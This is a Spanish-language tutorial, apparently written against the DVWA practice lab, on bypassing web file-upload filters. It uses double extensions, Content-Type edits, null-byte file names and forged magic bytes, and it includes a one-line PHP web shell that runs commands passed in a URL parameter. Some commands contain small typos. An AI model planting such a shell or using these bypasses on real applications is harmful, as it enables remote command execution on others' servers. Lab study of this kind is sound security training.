File Upload

2 minuto(s) de lectura

Esta funcionalidad es esencial en casi todas las aplicaciones web permitiendo al usuario subir una foto, video, archivos de audio, CV , etc …

Como siempre la subida de archivos es un riesgo notable en cualquier aplicacion web sino esta protegido correctamente esta funcionalidad.

Un hacker que tenga la hablidadad de hacer un bypass a esta funcioanlidad de la web podria conseguir Ejecución Remota de Comandos RCE.

1.1 File Upload - básico


Creamos la shell

echo '<?php system($_GET["cmd"]);?' >> test1.php

  • Click upload

  • Accedemos a la url donde se guardo la shell
http://localhost/DVWA/hackable/uploads/test1.php?c=pwd

1.2 File Upload - extensión doble


Algunas aplicaciones web como medida de seguridad certifican la extension del archivo a subir. En otras palabras la subida de archivos está restringida a determinadas extensiones, no obstante, en este caso veremos como añadiéndole una doble extensión hacemos un bypass.

mv test1.php tes1.php.png

Interceptamos la petición con Burpsuite

  • Bypassed!

1.3 File Upload - content-type


Este tipo de restricción se encuentra en la cabecera http Content-type .Requiriendo manipular la petición.

1.4 File Upload - caracter hexadecimal nulo


Uno de los enfoques interesantes para cargar documentos permiciosos es utilizar caracteres de bytes nulos codificados en URL. El acceso no aprobado a los documentos del sistema podría obtenerse a través de dicha infusión de un byte no válido que da como resultado un espacio en blanco en la interpretación ASCII. La incrustación de un byte no válido conducirá a una aplicación web que utilice bibliotecas C / C ++ al verificar el nombre del registro o su contenido. Intentará engañar como si fuera el final de la cadena, y debería dejar de leer detenidamente en esta progresión.

Antes de cargar nuestro archivo PHP, hagamos un pequeño cambio y cambiemos el nombre.

mv  test1.php  test1.phpA.jpeg
  • Interceptamos la peticion y la mandamos al Decoder

  • El caracter A, el cual es el # 41 en HEX lo usaremos para identificarlo posteriormente en la petición.

El propósito es identificar rápidamente este caracter en el campo hexadecimal y cambiarlo al caracter nulo antes de enviar la solicitud.

1.5 File Upload - números mágicos


Usualmente algunas web suelen validar las cabeceras hexadecimales de la imagen más conocidos como números mágicos .Lógicamente sabiando esto se podría lograr un bypass.

Extensiones Cabeceras Hexadecimales
PNG 89 50 4E 47
JPEG FF D8 FF E0 / FE
PDF 25 50 44 46
DOC D0 CF 11 E0
  • Para cambiar las cabeceras hexadecimales utilizaremos el binario hexeditor

  • Cambiando el primer octeto de bytes les quedaría así

Posteriormente la web interpretaría este .php como una imagen.